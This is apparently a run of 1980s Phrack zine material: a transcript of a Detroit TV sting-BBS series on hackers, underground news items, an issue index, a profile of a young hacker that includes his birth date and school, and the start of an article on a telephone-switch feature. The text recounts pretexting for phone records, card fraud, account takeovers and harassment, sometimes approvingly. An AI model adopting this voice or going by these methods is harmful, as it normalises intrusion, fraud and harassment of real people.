‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Welcome to MIKE WENDLAND'S I‑TEAM sting board! (Computer Services Provided By BOARDSCAN) 66 Megabytes Strong

300/1200 baud ‑ 24 hours.

Three (3) lines = no busy signals! Rotary hunting on 313‑534‑0400.

Board: General Information & BBS's

Message: 41

Title: YOU'VE BEEN HAD!!!

To: ALL

From: HIGH TECH

Posted: 8/20/86 @ 12.08 hours

Greetings:

You are now on THE BOARD, a "sting" BBS operated by MIKE WENDLAND of the WDIV‑TV I‑Team. The purpose? To demonstrate and document the extent of criminal and potentially illegal hacking and telephone fraud activity by the so‑called "hacking community."

Thanks for your cooperation. In the past month and a half, we've received all sorts of information from you implicating many of you to credit card fraud, telephone billing fraud, vandalism, and possible break‑ins to government or public safety computers. And the beauty of this is we have your posts, your E‑Mail and‑‑‑ most importantly ‑‑‑your REAL names and addresses.

What are we going to do with it? Stay tuned to News 4. I plan a special series of reports about our experiences with THE BOARD, which saw users check in from coast‑to‑coast and Canada, users ranging in age from 12 to 48. For our regular users, I have been known as High Tech, among other ID's. John Maxfield of Boardscan served as our consultant and provided the HP2000 that this "sting" ran on. Through call forwarding and other conveniences made possible by telephone technology, the BBS operated remotely here in the Detroit area.

When will our reports be ready? In a few weeks. We now will be contacting many of you directly, talking with law enforcement and security agents from credit card companies and the telephone services.

It should be a hell of a series. Thanks for your help. And don't bother trying any harassment. Remember, we've got YOUR real names.

Mike Wendland

The I‑team

WDIV, Detroit, MI.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

This then is the result:

Phrack World News proudly presents...

Mike Wendland & the I‑Team Investigate "Electronic Gangsters"

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Carman Harlan: Well we've all heard of computer hackers, those electronic gangsters who try to break into other people's computer systems. Tonight on the first of a three part news 4 [WDIV‑TV, Channel 4 in Detroit] extra, Mike Wendland and the I‑Team will investigate how such computer antics jeopardize our privacy. Mike joins us now to tell us what at first may have been innocent fun may now be affecting our pocket books.

Mike Wendland: Well Carman and Mort, thanks to the media and movies just about everyone knows about hackers and phone phreaks. By hooking their Apples, their Ataris, and their Commodores into telephone lines these electronic enthusiasts have developed a new form of communication, the computer bulletin board. There are probably 10,000 of these message swapping boards around the country today, most are innocent and worthwhile. There are an estimated 1,000 pirate or hacker boards where the main activities are electronic trespassing, and crime [Estimates provided by John Maxfield].

[Clipping From Wargames comes on]

In movies like Wargames computer hackers are portrayed as innocent hobbyist explorers acting more out of mischief than malice. But today a new generation of hackers have emerged. A hacker that uses his knowledge of computers to commit crimes. Hackers have electronically broken into banks, ripped off telephone companies for millions of dollars, trafficked in stolen credit card numbers, and through there network of computer bulletin boards traded information on everything from making bombs to causing terrorism.

[Picture of John Maxfield comes on]

John Maxfield: Well, now there are electronic gangsters, not just electronic explorers they are actually gangsters. These hackers meet electronically through the phone lines or computer bulletin boards. They don't meet face to face usually, but it is a semi‑organized gang stile activity, much like a street gang, or motorcycle gang.

Mike Wendland: John Maxfield of Detroit is America's foremost "Hacker Tracker". He has worked for the F.B.I. and various other law enforcement and security organizations. Helping catch dozens of hackers around the country, who have used their computers for illegal purposes. To find out how widespread these electronic gangsters have become, we used John Maxfield as a consultant to setup a so‑called "sting" bulletin board [THE BOARD].

We wrote and designed a special program that would allow us to monitor the calls we received and to carefully monitor the information that was being posted. We called our undercover operation "The Board", and put the word out on the underground hacker network that a new bulletin board was in operation for the "Elite Hacker". Then we sat back and watched the computer calls roll in.

In all we ran our so called "Sting" board for about a month and a half, 24 hours a day, 7 days a week. We received literally hundreds of phone calls from hackers coast to coast, ranging in age from 17 to 43. All of them though had one thing in common, they were looking for ways to cheat the system.

The hackers identified themselves by nicknames or handles like CB radio operators use, calling themselves things like Ax Murderer, Big Foot, and Captain Magic. They left messages on a variety of questionable subjects, this hacker for instance told how to confidentially eavesdrop on drug enforcement radio conversations. A New York hacker called The Jolter swapped information on making free long‑distance calls through stolen access codes, and plenty of others offered credit card numbers to make illegal purchases on someone else's account.

John Maxfield: Well these kids trade these credit card numbers through the computer bulletin boards much like they'd trade baseball cards at school. What we've seen in the last few years is a series of hacker gangs that are run by an adult, sort of the mastermind who stays in the background and is the one who fences the merchandise that the kids order with the stolen credit cards.

Mike Wendland: Then there were the malicious messages that had the potential to do great harm. The Repo Man from West Virginia left this message telling hackers precisely how to break into a hospital computer in the Charleston, WV area.

[Picture of Hospital]

This is where that number rings, the Charleston Area Medical Center. We immediately notified the hospital that there computer security had been breached. Through a spokesperson, the hospital said that a hacker had indeed broken into the hospital's computer and had altered billing records. They immediately tightened security and began an investigation. They caught the hacker who has agreed to make restitution for the damages. Maxfield says though, "Most such break‑ins are never solved".

John Maxfield: When you are talking about electronic computer intrusion, it's the perfect crime. It's all done anonymously, it's all done by wires, there's no foot prints, no finger prints, no blood stains, no smoking guns, nothing. You may not even know the system has been penetrated.

Mike Wendland: Our experience with the "Sting" bulletin board came to a sudden and unexpected end. Our cover was blown when the hackers somehow obtained confidential telephone company records. The result a campaign of harassment and threats that raised serious questions about just how private our supposedly personal records really are. That part of the story tomorrow. [For a little more detail about how their cover was "blown" see PWN Issue 7/Part One, "Maxfield Strikes Again." Heh heh heh heh.]

Mort Crim: So these aren't just kids on a lark anymore, but who are the hackers?

Mike Wendland: I'd say most of them are teenagers, our investigation has linked about 50 of them hardcore around this area, but most very young.

Mort Crim: Far beyond just vandalism!

Mike Wendland: Yep.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

A few quicknotes in between shows, Mike Wendland and John Maxfield set up THE BOARD. Carman Harlan and Mort Crim are newscasters.

Also if anyone is interested in the stupidity of Mike Wendland, he flashed the post that contained the phone number to the hospital across the screen, Bad Subscript put the VCR on pause and got the number. If interested please contact Bad Subscript, Ctrl C, or myself.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Carman Harlan: Tonight on the second part of a news 4 [WDIV‑TV, Channel 4 in Detroit] extra Mike Wendland and the I‑Team report on how they setup a sting bulletin board to see how much they could get on these criminal hackers. Mike joins us now to explain that information, that was not the only thing they got.

Mike Wendland: That's right, Carman & Mort. Our so called sting bulletin board received hundreds of calls from hackers all over America, and even Canada. They offered to trade stolen credit cards, and they told how to electronically break into sensitive government computers. But our investigation came to a sudden end when our sting board was stung. Our cover was blown when a hacker discovered that this man, computer security expert John Maxfield was serving as the I‑Team consultant on the investigation. Maxfield specializes as a hacker tracker and has worked for the F.B.I. and various other police and security agencies. The hacker discovered our sting board by getting a hold of Maxfield's supposedly confidential telephone records.

John Maxfield: And in the process of doing that he discovered the real number to the computer. We were using a different phone number that was call forwarded to the true phone number, he found that number out and called it to discover he was on the sting board.

Mike Wendland: But the hacker didn't stop at exposing the sting, instead he posted copies of Maxfield's private telephone bill on other hacker bulletin boards across the country.

John Maxfield: The harassment started, all of the people on my phone bill got calls from hackers. In some cases their phone records were also stolen, friends and relatives of theirs got calls from hackers. There was all sorts of other harassment, I got a call from a food service in Los Angeles asking where I wanted the 500 pounds of pumpkins delivered. Some of these kids are running around with guns, several of them made threats that they were going to come to Detroit, shoot me and shoot Mike Wendland.

Mike Wendland: A spokesperson from Michigan Bell said that the breakdown in security that led to the release of Maxfield's confidential records was unprecedented.

Phil Jones (MI Bell): I think as a company were very concerned because we work very hard to protect the confidentially of customer's records. [Yeah, right].

Mike Wendland: The hacker who got a hold of Maxfield's confidential phone records is far removed from Michigan, he lives in Brooklyn, NY and goes by the name Little David [Bill From RNOC]. He says that getting confidential records from Michigan Bell or any other phone company is child's play. Little David is 17 years old. He refused to appear on camera, but did admit that he conned the phone company out of releasing the records by simply posing as Maxfield. He said that he has also sold pirated long‑distance access codes, and confidential information obtained by hacking into the consumer credit files of T.R.W. Little David says that one of his customers is a skip‑tracer, a private investigator from California who specializes in finding missing people. Maxfield, meanwhile, says that his own information verified Little David's claim.

John Maxfield: The nearest I can determine the skip‑tracer was using the hacker, the 17 year old boy to find out the whereabouts of people he was paid to find. He did this by getting into the credit bureau records for the private eye. This is an invasion of privacy, but it's my understanding that this boy was getting paid for his services.

Mike Wendland: In Long Island in New York, Maxfield's telephone records were also posted on a bulletin board sponsored by Eric Corley, publisher of a hacker newsletter [2600 Magazine]. Corley doesn't dispute the harassment that Maxfield received.

Eric Corley: Any group can harass any other group, the difference with hackers is that they know how to use particular technology to do it. If you get a malevolent hacker mad at you there's no telling all the different things that can happen.

Mike Wendland: What can happen? Well besides getting your credit card number or charging things to your account, hackers have been known to change people's credit ratings. It is really serious business! And tomorrow night we'll hear about the hacker philosophy which holds that if there is information out there about you it is fair game.

Mort Crim: "1984" in 1986.

Mike Wendland: It is!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Carman Harlan: News four [WDIV‑TV, Channel 4 in Detroit] extra, Mike Wendland and the I‑Team look at how these hackers are getting out of hand.

Mike Wendland: The problem with hackers is not just with mischief anymore, unscrupulous hackers are not only invading your privacy, they are costing you money. Case and point, your telephone bills, because American telephone companies have long been targets of computer hackers and thieves we are paying more than we should. Experts say the long distance companies lose tens of millions of dollars a year to, these self described "Phone Phreaks."

For example in Lansing, the Michigan Association of Governmental Employees received a phone bill totalling nearly three hundred and twenty one thousand dollars. For calls illegally racked up on there credit card by hackers. Such victims seldom get stuck paying the charges, so hackers claim there piracy is innocent fun.

Phil Jones (MI Bell): Nothing could be further from the truth, it becomes a very costly kind of fun. What happens is that the majority of the customers who do pay there bills on time, and do use our service lawfully end up quitting after that bill.

Mike Wendland: That's not all, hackers regularly invade our privacy, they leave pirated credit card numbers and information how to break into electronic computer banks on bulletin boards. Thousands of such electronic message centers exist across the country, most operated by teenagers.

John Maxfield: There is no law enforcement, no parental guidance, they're just on their own so they can do anything they want. So the few bad ones that know how to steal and commit computer crimes teach the other ones.

Mike Wendland: There is very little that is safe from hackers, from automatic teller machines and banks to the internal telephone systems at the White House. Hackers have found ways around them all hackers even have their own underground publication of sorts that tells them how to do it.

[Close up of publication]

Its called 2600 [2600 Magazine], after the 2600 hertz that phone phreaks use to bypass telephone companies billing equipment. It tells you how to find credit card numbers and confidential records in trash bins, break into private mainframe computers, access airline's computers, and find financial information on other people through the nations largest credit bureau, TRW. 2600 is published in a ram‑shackled old house at the far end of Long Island, New York by this man, Eric Corley. He argues that hackers aren't electronic gangsters.

Eric Corley: We like to call them freedom fighters. Hackers are the true individuals of the computer revolution, they go were people tell them not to go, they find out things they weren't supposed to find out.

Mike Wendland: Corley's newsletter supports a hacker bulletin board called the Private Sector. Last year the F.B.I. raided it.

Eric Corley: They managed to charge the system operator with illegal possession of a burglary tool in the form of a computer program.

Mike Wendland: But the bulletin board is still in operation. Corley resents the suspicion that hackers are involved in criminal activities.

Eric Corley: Hackers are not the people who go around looking for credit cards and stealing merchandise. That's common thievery. Hackers are the people who explore. So basically what we are saying is more knowledge for more people. That will make it better for everybody.

Mike Wendland: He claims that hackers, in their own ways, really protect our rights by exposing our vulnerabilities. Well hackers may expose our vulnerabilities, but they also invade our privacy. There activities have really spotlighted the whole question of privacy raised by the massive files that are now out there in electronic data banks. Much of that information that we think is personal and confidential is often available to the whole world.

Original transcript gathered and typed by

Ctrl C & Bad Subscript

Major editing by Knight Lightning

Phrack World News 9 Part II

==Phrack Inc.==

Volume Two, Issue Ten, Phile #9 of 9

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN <‑=*} Phrack World News {*=‑> PWN

PWN PWN

PWN Issue IX/Part Two PWN

PWN PWN

PWN Compiled, Written, and Edited by PWN

PWN PWN

PWN Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

On The Home Front December 25, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Happy Holidays to all from everyone at Phrack Inc. and Metal Shop Private!

Well, here we are at that time of year again and before too long we will have a new wave of self appointed hackers who got their modems for Christmas.

Some important dates to point out:

November 17, 1986............1st Anniversary of Phrack Inc. January 2, 1987..............1st Anniversary of Metal Shop being a PRIVATE BBS. January 10, 1987.............1st Anniversary of Metal Shop AE, now Quick Shop January 25, 1987.............1st Anniversary of Phrack World News

The Phrack Inc./Metal Shop Private Voice Mailbox is now back in operation. If you have a question for Taran King, Cheap Shades, or myself and cannot reach us through regular means, please leave us a message on our VMS.

Thanks to the efforts of Oryan Quest, an upcoming Phrack Pro‑Phile will focus on Steve Wozniak.

Plans are already underway for Summer Con '87. It is to be held in St. Louis, Missouri during the last week of June. It is being sponsored by TeleComputist Newsletter, Phrack Inc., and Metal Shop Private. Forest Ranger is in charge of planning and is putting out a lot of front money for the necessary conference rooms and such. There will be a mandatory $10 admittance at the door to Summer Con '87. If you will be attending this conference, please as an act of good faith and to save 50% send $5 in early to:

J. Thomas

TeleComputist Newsletter

P.O. Box 2003

Florissant, Missouri 63032‑2003

Also, Letters to the Editor and anything else dealing with TeleComputist can be sent to the same address. TeleComputist can also be reached through Easylink at 62195770, MCI Telex at 650‑240‑6356, CIS at 72767,3207 and PLINK at OLS 631. Try MCI and Easylink first.

Not much else to say... so keep learning and try not to get into any trouble.

:Knight Lightning

________________________________________

Computer Hackers Beware! ‑ Senate Passes Computer Fraud And Abuse Act

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

On October 2, 1986, the US Senate unanimously passed the Computer Fraud and Abuse Act of 1986. The bill, S. 2281, imposes fines of up to $500,000 and/or prison terms of up to 20 years for breaking into government or financial institutions' computers.

The Federal Government alone operates more than 18,000 medium‑scale and large‑scale computers at some 4,500 different sites. The Office of Technology Assessment estimates the government's investment in computers over the past four years at roughly $60 million. The General Services Administration estimates that there will be 250,000 to 500,000 computers in use by the Federal Government by 1990.

In 1984, legislators' attention to and concern about computer fraud was heightened by a report by the American Bar Association task force on computer crime. According to the report, based on a survey of 1,000 private organizations and public agencies, forty‑five percent of the 283 respondents had been victimized by some form of computer crime, and more than 25 percent had sustained financial losses totaling between an estimated $145 million and $730 million during one twelve month period.

To address this problem, the Senate and House enacted, in 1984, the first computer statute (18 U.S.C. 1030). Early this year both the House and Senate introduced legislation to expand and amend this statute.

In the current bill, which is expected to be signed by President Reagan next week, penalties will be imposed on anyone who knowingly or intentionally accesses a computer without authorization, or exceeds authorized access and:

(1) Obtains from government computers information relating to national defense and foreign relations.

(2) Obtains information contained in financial records of financial institutions.

(3) Affects the use of the government's operation of a computer in any department or agency of the government that is exclusively for the use of the U.S. Government.

(4) Obtains anything of value, unless the object of the fraud and the thing obtained consists only of the use of the computer.

(5) Alters, damages, or destroys information in any federal interest computer, or prevents authorized use of any such computer or information.

Under the bill, a person would be guilty of computer fraud if he or she causes a loss of $1,000 or more during any one year period.

Depending on the offense, penalties include fines up to $100,000 for a misdemeanor, $250,000 for a felony, $500,000 if the crime is committed by an organization, and prison terms of up to 20 years.

The bill also prohibits traffic in passwords and other information from computers used for interstate or foreign commerce. This part of the bill makes it possible for Federal Prosecutors to crack down on pirate bulletin boards and similar operations because the bill covers business computers, online networks, and online news and information services, all of which are considered interstate commerce.

Information provided by

P ‑ 8 0 S y s t e m s

________________________________________

GTE News December 20, 1986

‑‑‑‑‑‑‑‑

"GTE Develops High‑Speed GaAs Multiplexer Combining Four Data Channels"

In an effort to achieve data communication rates of several gigabits per second, GTE Labs (Waltham, MA) is combining the high‑capacity of fiber optics with the high speed of gallium arsenide circuits. The research arm of GTE has designed a GaAs multiplexer that can combine four data channels, each with a communication rate of 1 gigabit per second, into one channel. GTE has also recently developed a technique called MOVPE (metal‑organic vapor‑phase epitaxy) for efficiently growing thin‑film GaAs crystals.

The new devices should play an important role in future communication systems, which will involve high‑capacity fiber‑optic cables connecting houses and offices through telephone switching centres. Data rates on these cables could be as high as 20 gigabits per second. In addition to standard computer data, numerous video channels could be supported, each with a data rate of almost 100 megabits per second. The GaAs multiplexers will probably be the only devices fast enough to interface houses and offices through this fiber‑optic grid. In future supercomputers [misuse of the word ‑eds.] these multiplexers will also be used for high‑speed fiber‑optic transmissions between various boards in the computer, replacing copper wires. Because of the high‑speed nature of the fiber‑optic link, such techniques may even be used for chip‑tochip communication.

GTE said it has completed a prototype of the GaAs multiplexer and a final version should be ready in less than a year.

Comments: And meanwhile, while GTE's been building gigabit/second multiplexers, AT&T Bell Labs is still experimenting with the neuron webs from slug brains...

Information from Byte Magazine, December 1986, Page 9

Typed & Commented on by Mark Tabas

________________________________________

The LOD/H Technical Journal

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Legion Of Doom/Hackers Technical Journal is a soft‑copy free newsletter whose primary purpose is to further the knowledge of those who are interested in topics such as: Telecommunications, Datacommunications, Computer & Physical Security/Insecurity and the various technical aspects of the phone system.

The articles are totally original unless otherwise stated. All sources of information for a specific article are listed in the introduction or conclusion of the article. They will not accept any articles that are unoriginal, plagiarized, or contain invalid or false information. Articles will be accepted from anyone who meets those criteria. They are not dependant upon readers for articles, since members of LOD/H and a select group of others will be the primary contributors, but anyone can submit articles.

There is no set date for releasing issues, as they have no monetary or legal obligation to the readers, but they predict that issues will be released every 2 or 3 months. Thus, expect 4 to 6 issues a year assuming that they continue to produce them, which they intend to do.

The bulletin boards sponsoring the LOD/H TJs include:

Atlantis

Digital Logic Data Service Hell Phrozen Over (HPO)

Metal Shop Private

Private Sector

The Shack //

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The first issue will include these articles;

‑ Introduction to the LOD/H Technical Journal and Table Of Contents

‑ Editorial: "Is the law a deterrent to computer crime?" by Lex Luthor

‑ Local Area Signalling Services (LASS) by The Videosmith

‑ Identifying and Defeating Physical Security and Intrusion Detection Systems Part I: The Perimeter by Lex Luthor

‑ Traffic Service Position System (TSPS) by The Marauder

‑ Hacking DEC's TOPS‑20: Intro by Blue Archer

‑ Building your own Blue Box (Includes Schematic) by Jester Sluggo

‑ Intelligence and Interrogation Processes by Master Of Impact

‑ The Outside Loop Distribution Plant: Part I by Phucked Agent 04

‑ The Outside Loop Distribution Plant: Part II by Phucked Agent 04

‑ LOH Telenet Directory: Update #4 (12‑9‑86) Part I by LOH

‑ LOH Telenet Directory: Update #4 (12‑9‑86) Part II by LOH

‑ Network News & Notes by "Staff"

That's a total of 13 files...

That ends the preview, the newsletter is due to be released by January 1, 1987 so watch for it!

Information Provided by

Lex Luthor & The Legion Of Doom/Hackers Technical Journal Staff

________________________________________

Texas Rumors Run Rampant December 24, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Remember all that controversy about Sir Gamelord being Videosmith?

Well here's the story...

It all started on a conference bridge, where a number of people including Evil Jay, Line Breaker [who, indirectly started all of this], and Blade Runner among others were having a discussion.

Line Breaker was telling a story of how Videosmith was a fed, how Videosmith had busted everyone at a phreak con (or something like that), and how he [Line Breaker] and some other people called Videosmith up, pretending to be feds, and got him to admit that he did these things.

Blade Runner was terribly pissed at Sir Gamelord (who had recently attempted to take over P.H.I.R.M., which is Blade Runner's group). As a retaliatory strike and after hearing this slander upon Videosmith's name, Blade Runner started telling people that Sir Gamelord was Videosmith. The stories have been getting more and more exaggerated since then but that is all that really happened.

[They say everything is bigger in Texas...I guess that includes bullshit too!]

Information Provided by Evil Jay

________________________________________

The Cracker Disappears December 27, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The rumors and stories are flying around about the disappearance of one Bill Landreth aka The Cracker.

Bill Landreth is the author of "Out Of The Inner Circle," a book on hackers that was published a few years back.

According to newspaper articles in the San Francisco area, Bill was at a friend's home working on some computer program. His friend stepped out for a while and when he returned, there was a lot of garbage on screen and a suicide message.

On Ripco BBS, message was posted about Bill Landreth, stating that he had disappeared, and was once again wanted by the FBI. The message asked that anyone in contact with Bill would tell him to contact his "friends."

Most of what is going on right now is bogus rumors. There may be a follow up story in the next PWN.

Information Provided By

The Prophet/Sir Frances Drake/Elric Of Imrryr

________________________________________

U.S. Sprint Screws Up December 24, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Taken From the Fort Lauderdale Sun Sentinal

"He got a 1,400 page bill!"

In Montrose, Colorado, Brad Switzer said he thought the box from the U.S. Sprint Long Distance Company was an early Christmas present until he opened it and found that it contained a 1,400 page phone bill.

The $34,000 bill was delivered to Switzer's doorstep Monday. He called U.S. Sprint's Denver office, where company officials assured him he was "Off the Hook." A spokesman for U.S. Sprint said that Switzer had mistakenly received U.S. Sprint's own phone bill for long distance calls.

Typed For PWN by The Leftist

________________________________________

11

- Index to Phrack Eleven by Taran King

- Phrack Pro-Phile VIII on Wizard of Arpanet by Taran King

- PACT by The Executioner

- Hacking Voice Mail Systems by Black Knight from 713

- Simple Data Encryption or Digital Electronics 101 by The Leftist

- AIS - Automatic Intercept System by Taran King

- Hacking Primos I, II, III by Evil Jay

- Telephone Signalling Methods by Doom Prophet

- Cellular Spoofing By Electronic Serial Numbers donated by Amadeus

- Busy Line Verification by Phantom Phreaker

- Phrack World News X by Knight Lightning

- Phrack World News XI by Knight Lightning

Index to Phrack Eleven

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #1 of 12

Index

~~~~

2/17/87

Welcome to Issue Eleven of the Phrack Inc. electronic newsletter. This issue, I was a bit more reliable about getting the issue out (yes, only 3 days late!). This issue did not come together as easily as I would have hoped due to a number of people being difficult to get a hold of or getting their files, but I filled their places in with other files, so if you had been told you would have a file in this issue, get in contact with me so that it will be featured in Issue Twelve. The following files are featured in this edition of Phrack Inc.:

#1 Index to Phrack Eleven by Taran King (1.7K)

#2 Phrack Pro‑Phile VIII on Wizard of Arpanet by Taran King (6.8K) #3 PACT: Prefix Access Code Translator by The Executioner (7.6K) #4 Hacking Voice Mail Systems by Black Knight from 713 (6.0K)

#5 Simple Data Encryption or Digital Electronics 101 by The Leftist (4.1K) #6 AIS ‑ Automatic Intercept System by Taran King (15.9K)

#7 Hacking Primos I, II, III by Evil Jay (6.7K)

#8 Telephone Signalling Methods by Doom Prophet (7.3K)

#9 Cellular Spoofing By Electronic Serial Numbers donated by Amadeus (15.2K) #10 Busy Line Verification by Phantom Phreaker (10.0K)

#11 Phrack World News X by Knight Lightning

#12 Phrack World News XI by knight Lightning

Taran King

Phrack Pro-Phile VIII on Wizard of Arpanet

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #2 of 12

==Phrack Pro‑Phile VIII==

Written and Created by Taran King

2/17/87

Welcome to Phrack Pro‑Phile VIII. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you one of the older and high profile phreaks of the past...

Wizard of Arpanet

~~~~~~~~~~

Wizard of Arpanet is one of the older of the phreak/hack generation. His main accomplishments include running Inner Circle and Secret Service BBS.

Handle: Wizard of Arpanet Call him: Eric

Past handles: The Hacker and The Priest Handle Origin: A real programmer on Arpanet was called The

Wizard and Eric took his handle from him.

Date of Birth: 02/26/69

Age in 9 days of this writing: 18 years old Height: 6'1" Weight: 150 lbs

Eye color: Blue

Hair color: Dishwaterish blond Computers: Atari 400, Commodore 64 Sysop/Co‑sysop of: Secret Service

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Wizard of Arpanet started as your average BBS caller. He eventually called Central Processing Unit (a local board to him), and there were these funny numbers on the board. He called and tried to connect with his modem, but they turned out to be Sprint dial‑ups. The CPU Sysop informed him of what to do and he started calling national BBSs. Boards that helped him to advance include the Twilight Zone (the sysop was the guy that wrote T‑Net), OSUNY, Dragon's Lair, and Delta BBS. Wizard organized various groups which included (from earliest to most recent): PHA (Phreakers and Hackers of America) (included Deep Throat, Phreak King, and Psycho Killer), The Inner Circle (1st one) (included Shockwave Rider, and Satan Knight aka Redrum), and The 2nd Inner Circle (included The Cracker, Mr. America, Napoleon Bonapart, Stainless Steal Rat, Big Brother, Mr. Xerox, Bootleg, Maxwell Wilke, Mandrake The Magician, and Zaphod Beeblebrox).

Eric got the number to Arpanet from Dark Dante, and got on the MIT Research System from looking through TAC News. One night he got like 50‑60 accounts on the Unix and changed all of the passwords to WIZARD.

Stainless Steal Rat, the Sysop of Delta BBS, and The Myth were all up from NJ one weekend, and they were staying the weekend at John Maxfield's house. They went to John's office. Wizard asked Maxfield if he could use his computer to print out some things he had with him and he printed out some stuff from the Stanford Artificial Intelligence address list for Arpanet. John was amazed. "Wow," he said, "I have prime evidence on you." (TK: This may not for sure be an exact quote). He then proceeded to bust our friend, Eric, the next week. He also had a lot of stuff from AUTOVON from some fellow in Washington and started playing with the FTS lines (Federal Telephone System) which he found from, none other than, John Maxfield. They had found the default passwords for TeleMail too, and got the administrator accounts and set up their own BBS on Nassau and Coca‑Cola systems plus anywhere else possible. And all of a sudden, it all came down when Mandrake decided to crash parts of TeleMail. Enter, Federal Bureau of Investigations. They had been monitoring Eric for 6 months looking for some evidence to get him on. And thus, they got it. Nothing really happened, but he had to get a lawyer and he got some publicity in the paper. After 90 days, everything they had taken, with the exception of a few documents, was sent back. During those 90 days, Eric worked as a computer security consultant at a bank making $200 an hour (2 hours...).

The only "phreaks" he's met are Stainless Steal Rat and Cable Pair.

Eric has been mentioned on local TV/News, in newspapers, USA Today, NY Times, Washington Post, Books, and Britannica Encyclopedia (look under Hacker).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interests: Music (preferably jazz, reggae, new wave), Eastern philosophy (Zen Buddhism), reading Jack Kerouac books (a great beatnik writer), driving aimlessly, slowly becoming a social recluse, physics, and Greek mathematicians.

Eric's Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Women: The pursuit thereof (Karen Wilder). Foods: Chinese.

Cars: BMW 320‑I.

Artist: Salvador Dali.

Plans for next few months: Next year and a half ‑ travelling to Montreal in April for a week of leisure, then jetting back to beautiful Detroit and continuing his studies at Eisenhower High School.

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Realizing all at once that everything you did 3 years ago was stupid. Growing into a new person.

Gaining morals and new ideas and a new outlook.

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tuc (For telling him about boxing).

Tom Tone (For calling him on his first conference).

Magnetic Surfer (Talking to him for the first time after Sherwood Forest went down voice).

John Maxfield (Meeting him).

Stainless Steal Rat (Meeting him...with John Maxfield).

Dark Dante (One of the legends phreakdom).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Always follow your instinct and not your desire for you will be sorry because you will be lying to yourself.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you enjoyed this file. Look forward to more Phrack Pro‑Philes coming in the near future. ...And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? No, says Eric, he considers them a new breed of intellect. Thanks for your time, Eric.

Taran King

PACT

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #3 of 12

.___.

|___|

|

/^\

[+]PLP[+]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑PLP[+]

\^/ ^

|S| P ^[+]The Executioner[+]^ P |S| |e| PLP ^[+]PhoneLine Phantoms![+]^ PLP |e| |x| P _____[+]The Network Technicians[+]______ P |x|

|y| ^ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ y|

|‑| [+] PACT: Prefix Access Code Translator [+] |‑|

|T| ^ ==================================T|

|N| [+]Written for PHRACK Inc. Issue Eleven.[+] |N|

|T| T|

|‑|_______. Call Phreak Klass, Room 2600 ._______|‑| |PHRACK XI| [806][799][0016] Login:EDUCATE |PHRACK XI|

‑‑‑‑‑‑‑‑| |_________________

|___________________

The PACT (Prefix Access Code Translator) feature provides preliminary translation data for features using access codes that are prefixed by a special code. A standard numbering and dialing plan requires that individual line and small business customers' (custom) calling use prefixed access code dialing for feature access. PACT is offered on a per office basis. The PACT is NOT used for the interpretation of Centrex dialing customers. When a call is originated by the customer, a call register is used to store the data about the call. The customer dials a prefix and a 2 digit access code (table a). The PACT then looks at the digits to determine what action should take place. Reorder or special service error messages will be heard if you enter an unassigned code. If the code is accepted, then that particular action will be performed. The PACT consists of the PACT head table and the prefixed access code translator. The PACT feature allows the dialing of a special code for a prefix. These are the '*' and '#'. If you have rotary, then '11' and '12' are used respectively. To use PACT, the prefix must be followed by a 2‑digit code. This combination is then defined in terms of type and subtype (table b).

